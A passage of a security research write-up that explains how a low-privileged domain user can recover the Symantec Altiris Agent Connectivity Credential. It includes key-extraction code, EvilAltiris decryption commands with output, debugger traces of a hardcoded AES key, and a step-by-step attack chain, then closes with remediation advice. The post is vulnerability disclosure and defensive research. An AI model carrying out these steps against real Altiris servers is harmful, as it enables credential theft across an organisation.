            byte[] buffer = this.m_rsaEncryptor.Encrypt(memoryStream.ToArray(), false);
            memoryStream.Seek(0L, SeekOrigin.Begin);
            memoryStream.Write(AsymmetricKeyEncryption.EncryptionVersionBytes, 0, AsymmetricKeyEncryption.EncryptionVersionBytes.Length);
            memoryStream.Write(buffer, 0, buffer.Length);
            SymmetricKeyEncryption.Encrypt(data, header, this.m_symmetricKey, key, memoryStream);
            return memoryStream.ToArray();
          }
        }

The policy XML data is not entirely encrypted using the machine’s public key, instead a unique symmetric key is generated per request and used to encrypt the policy XML data. This symmetric key and IV are then added to the enc_header blob which is encrypted with the machine’s public key. This encrypted header is prepended to the encrypted policy XML data and returned to the agent.

To perform the decryption, we need to parse out the enc_header from the returned policy data, decrypt the header with our machine’s private key, extract the symmetric key and finally decrypt the policy data.

EvilAltiris.exe decryptpolicy /data:policy.dat /key:"<RSAKeyValue><TRIMMED FOR BREVITY></RSAKeyValue>"

█▀▀ █ █ █ █   ▄▀█ █   ▀█▀ █ █▀█ █ █▀
██▄ ▀▄▀ █ █▄▄ █▀█ █▄▄  █  █ █▀▄ █ ▄█

Author: Matt Johnson - MDSec ActiveBreach - v0.0.1

[+] Got symmetric key from header: (m_key) a4ZNJ2KHVIhePZ/h1eo67Ib9xaGwlLq64TxjxGguqwM=
[+] Got IV from header: (m_IV) a82AD/wISjMFCD0jL0HbWg==
[+] Decrypted Policy Data:
<response nsVersion="8.7.2337.0"><resources><resource guid="{114b7178-2e4e-4071-81df-919b3f10e0c2}"><resourcePolicy guid="{142f2372-e64d-43c0-a207-17db2c0552c4}" /><resourcePolicy guid="{cd52eb66-061c-423e-bf7e-082927138dfe}" /><resourcePolicy guid="{ecc0813a-19a3-464f-8f1e-fb6aef254955}" /><resourcePolicy guid="{fe798592-5242-432d-8cc8-4c5b14e0fb70}" /></resource></resources><policyHashes><policyHash policy="{142f2372-e64d-43c0-a207-17db2c0552c4}" hash="BFE5B786CE90FCD5DD01E2060A89568D" /><policyHash policy="{cd52eb66-061c-423e-bf7e-082927138dfe}" hash="F7EA96101DD24AD34CB319FDD92B2445" /><policyHash policy="{ecc0813a-19a3-464f-8f1e-fb6aef254955}" hash="23C2C85434EE83842769C139A9E8AC26" /><policyHash policy="{fe798592-5242-432d-8cc8-4c5b14e0fb70}" hash="6FEFB6960D19BBB86E3299209B07DFCA" /></policyHashes><policies><Policy guid="{142F2372-E64D-43C0-A207-17DB2C0552C4}" name="All Desktop computers (excluding 'Site Servers')" version="8.7.2337.0"><ClientPolicy agentClsid="Altiris.AeXNSClientConfigUpdate">
<TRIMMED FOR BREVITY>
<PkgAccessCredentials policySecuredNode="{7A631FB0-26A5-478e-9AE7-A848EE1140C0}" SecuredAttributeD0885E2A8AB9_BlockUnsecureProcessing="secured" defaultACC_SecureAttribute="highsecured" defaultACC="True" userName_SecureAttribute="highsecured" userName="AwCWjVk9oCVKSGAwMcGdrHeeGgb3zP+X1URujyeX9sSNCg865meVAxDjjwu7yrMiwtSqRyFSu223tHkudAu6S8jKB/wEgk30d29OXW/J64/8sVtNWclR98HnX20aeKYTvKskYh+KE/oW/QuTrhZgICiw17GMFRwLRbOs3pN8Yd85zA1gINudPo2EJWMjvqGNcnFyQa58k3sGm0pC1SLQ73zd1ynPTExur2lpRbNmgv8tmQ==" userPassword_SecureAttribute="highsecured" userPassword="AwCWjVk9oCVKSGAwMcGdrHee24NhmeSpLOyxpDXmlYRpVyKJaUnSYOjplCbL/bAW5g7XMsEudlbPWAiBTlH5lf+eOAbBTxH/1529ZKzBjMILfXJBrnyTewabSkLVItDvfN3XKc9MTG6vaWlFs2aC/y2Z" />
<TRIMMED FOR BREVITY>

Once decrypted we are able to view the raw policy data XML, including the encrypted ACC.

Decrypting ACC Credential Blobs without SMATool

We now have one final layer of encryption to get through in order to recover the ACC. Based on our earlier testing, we know that SMATool.exe must contain a static key in order to be able to decrypt ACCs across environments. As SMATool.exe is a native binary, we are limited to using the debugger to uncover it’s internals, however, the back-end Notification Server binaries help give insights into the encryption process. Specifically Altiris87.NS.dll:Altiris.NS.AgentManagement.ConnectionProfiles.ConnectionProfile.cs

This class imports an XML connection profile containing an encrypted copy of the ACCUser and ACCPassword values. We can see that unless otherwise configured these are set to the AppIdentity.GetAppIdentity() and AppIdentity.Password respectively.

			using (SymmetricKeyInfo keyWithImpersonation = SymmetricKeyManager.GetKeyWithImpersonation("NS.AgentSettings"))
			{
				this.ACCUser = BasicCrypto.DecryptStringFromBase64String(XmlHelper.GetAttr(xmlNode, "userName", string.Empty), keyWithImpersonation);
				this.ACCPassword = BasicCrypto.DecryptStringFromBase64String(XmlHelper.GetAttr(xmlNode, "userPassword", string.Empty), keyWithImpersonation);
				string text = Core.PkgAccessUserName;
				string text2 = Core.PkgAccessPassword;
				if (text.Length == 0)
				{
					text2 = AppIdentity.Password;
					text = AppIdentity.GetAppIdentity();
				}
				if (this.ACCUser != text || this.ACCPassword != text2)
				{
					this.UseDefaultACC = false;
				}
			}

To decrypt these values, the NS.AgentSettings symmetric key is returned from the Notification Server’s KMS. We can extract these keys using the same technique as before by referencing the Altiris.NS.dll and calling the SymmetricKeyManager.GetKey function.

        static void Main(string[] args)
        {
            XmlWriter writer = null;
            XmlWriterSettings settings = new XmlWriterSettings();
            settings.ConformanceLevel = ConformanceLevel.Auto;
            writer = XmlWriter.Create("keys.xml", settings);

            using (SymmetricKeyInfo keyWithImpersonation = SymmetricKeyManager.GetKey("NS.AgentSettings"))
            {
                keyWithImpersonation.ToXml(writer);
                writer.WriteStartElement("entry");
                writer.WriteElementString("item", "a");
                writer.WriteEndElement();
                writer.Flush();
            }
        }

Running this on the Notification Server results in the below output. Note that the KMS can store multiple keys in a single file, for our purposes we are interested in the kHardcoded key value.

<symmetricKey keyType="kDefault, kExposableToAgent" algorithm="AesCryptoServiceProvider" cipherMode="CBC" paddingMode="PKCS7" key="gK8Uj/pXZzw+tRJV5ihzzw468bZkXzdEwNFgMJs2fW4=" IV="unhnVwwntk7jrhLh79loQw==" keyHash="OUaJHNCD90o23wBfTdXCnR7/j5c9bGDKndFUJxlhm2s=" /><symmetricKey keyType="kLegacy" algorithm="TripleDES" cipherMode="CBC" paddingMode="PKCS7" key="TX4rhhVm2LcsHEoYaFINHNAOZtPYR44U" IV="JsRUMupG2/E=" keyHash="tSD9GraBXU/nWkvAfUcuBtOlu+oEzDWbhABwdkhQlok=" /><symmetricKey keyType="kHardcoded" algorithm="AesCryptoServiceProvider" cipherMode="CBC" paddingMode="PKCS7" key="3K1VTlfiGF1JvmA89+jB6TmvmY12duipOHZ4nmPxQ3o=" IV="lo1ZPaAlSkhgMDHBnax3ng==" keyHash="ckGufJN7BptKQtUi0O983dcpz0xMbq9paUWzZoL/LZk=" /><entry><item>a</item></entry>

To confirm how these keys are used by the native SMATool.exe binary during decryption, we load the binary into x32dbg, set the command line as SMATool.exe /TPWD:MDSEC /DATA DUMP PASSWORD <ENCRYPTED_DATA> and toggle a break point on the CryptDecrypt function.

breakpoint.png

Before the call to CryptDecrypt we observe the below arguments pushed to the stack.

0078F7B0  70937CAD  return to aexagentext.70937CAD from ???
0078F7B4  00CEA8F8  <--- handle to HCRYPTKEY
0078F7B8  00000000
0078F7BC  00000001
0078F7C0  00000000
0078F7C4  02AB1D40  <--- pointer to encrypted buffer
0078F7C8  0078F808  <--- pointer to length of encrypted buffer (DWORD)

Looking in the dump we observe that our encrypted data starts 18 bytes into the blob while the last 64 bytes are ignored.

02AB1D40  B1854820        H.±
02AB1D44  BDFAEDF8       øíú½
02AB1D48  0D7893D6       Ö.x.
02AB1D4C  1107E3A5       ¥ã..
02AB1D50  98CDA8F6       ö¨Í.
02AB1D54  E4579ABB       ».Wä
02AB1D58  4F8C955F       _..O
02AB1D5C  7172B331       1³rq
02AB1D60  7FB2DE4A       JÞ².
02AB1D64  7B62CD73       sÍb{
02AB1D68  69F4AAF9       ùªôi
02AB1D6C  D4598F5B       [.YÔ

Our AES key structure can be found inside the memory region referenced by the HCRYPTKEY argument.

x86_key_extract_crop.png

Which matches the key value in our XML output of keyType="kHardcoded".

DC AD 55 4E 57 E2 18 5D 49 BE 60 3C F7 E8 C1 E9 39 AF 99 8D 76 76 E8 A9 38 76 78 9E 63 F1 43 7A

From here, we can make a stand-alone class to handle decryption of ACC credential blobs and add this functionality into EvilAltiris.

Z:\G>Z:\evilaltiris-main\EvilAltiris\bin\Release\EvilAltiris.exe DecryptACC /data:AwCWjVk9oCVKSGAwMcGdrHee24NhmeSpLOyxpDXmlYRpVyKJaUnSYOjplCbL/bAW5g7XMsEudlbPWAiBTlH5lf+eOAbBTxH/1529ZKzBjMILfXJBrnyTewabSkLVItDvfN3XKc9MTG6vaWlFs2aC/y2Z

█▀▀ █ █ █ █   ▄▀█ █   ▀█▀ █ █▀█ █ █▀
██▄ ▀▄▀ █ █▄▄ █▀█ █▄▄  █  █ █▀▄ █ ▄█

Author: Matt Johnson - MDSec ActiveBreach - v0.0.1

[+] Decrypted ACC value: SuperSecure!

Putting it all together

We now have all the components required to recover the ACC using a low privileged domain user by performing the following steps:

  • Read the MachineGuid from the registry
  • Generate a new public / private key pair
  • Overwrite the existing public key (policyKey) for our machine and return the TypeGuid
  • Request the encrypted policy data from the server
  • Decrypt the policy data and included ACC
  • Restore the machine public key to its original value

The video below demonstrates performing these actions via EvilAltiris

Remediation

This issue can be remediated by following the principle of least privilege and changing the default value for the ACC from the Application Identity account to a specific local account on the Notification Server. Symantec outline the following best practices for the ACC in their documentation, specifically:

  • Use a Local Account for the ACC, not a Domain Account.
  • The new local account must be granted at least READ permissions to the locations where the package files are located such as the Software Library, NSCAP share, and Patch Download location. If these are all on the same Drive, then READ access can be added at the Drive level for simplicity.

References

This article was also posted on mdsec.co.uk